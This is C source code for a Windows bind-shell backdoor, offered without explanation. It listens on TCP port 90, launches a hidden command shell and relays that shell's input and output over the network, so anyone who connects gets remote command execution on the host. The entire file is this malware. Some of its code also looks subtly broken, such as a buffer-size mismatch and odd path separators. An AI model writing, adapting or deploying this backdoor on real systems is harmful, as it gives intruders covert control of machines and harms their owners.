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#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;

SOCKET ClientSocket = INVALID_SOCKET;

HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;

u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )

{

 SECURITY_ATTRIBUTES pipeattr;

 DWORD nByteToWrite, nByteWritten;

 char recv_buff[1024];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);

 pipeattr.lpSecurityDescriptor = NULL;

 pipeattr.bInheritHandle = TRUE;

 CreatePipe(&hReadPipe,

    &hWriteFile,

    &pipeattr,

    0);

 varA = 1;

 while(true)

 {

  Sleep(250);

  nByteToWrite = recv(ClientSocket,recv_buff,1024,0);

  WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);

 }

 return 0;

}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )

{

 SECURITY_ATTRIBUTES pipeattr;

 DWORD len;

 char send_buff[25000];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);

 pipeattr.lpSecurityDescriptor = NULL;

 pipeattr.bInheritHandle = TRUE;

 CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

 varB = 1;

 while (true)

 {

  ReadFile(hReadFile,send_buff,25000,&len,NULL);

  send(ClientSocket,send_buff,len,0);

 }

 return 0;

}

void Enter(void)

{

 WSADATA WSAData;

 struct sockaddr_in RemoteAddr;

 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;

 OSVERSIONINFO osvi;

 PROCESS_INFORMATION processinfo;

 STARTUPINFO startinfo;

 WSAStartup(MAKEWORD(2,2),&WSAData);

 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

 RemoteAddr.sin_family = AF_INET;

 RemoteAddr.sin_port = htons(PORT);

 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));

 listen(ServerSocket, 5);

 varA = 0;

 varB = 0;

 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);

 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

 do{

        Sleep(250);

 }while((varA || varB) == 0);

 GetStartupInfo(&startinfo);

 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

 startinfo.hStdInput = hReadPipe;

 startinfo.hStdError = hWritePipe;

 startinfo.hStdOutput = hWritePipe;

 startinfo.wShowWindow = SW_HIDE;

 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

 GetVersionEx(&osvi);

 char szAPP[256];

 GetSystemDirectory(szAPP,MAX_PATH+1);

 if(osvi.dwPlatformId == 2)

 {

  strcat(szAPP,"//cmd.exe");

  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)

  {

   return;

  }

 }

 else

 {

  strcat(szAPP,"//command.exe");

  CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);

 }

 while (true)

 {

        ClientSocket = accept(ServerSocket, NULL, NULL);

  Sleep(250);

 }

}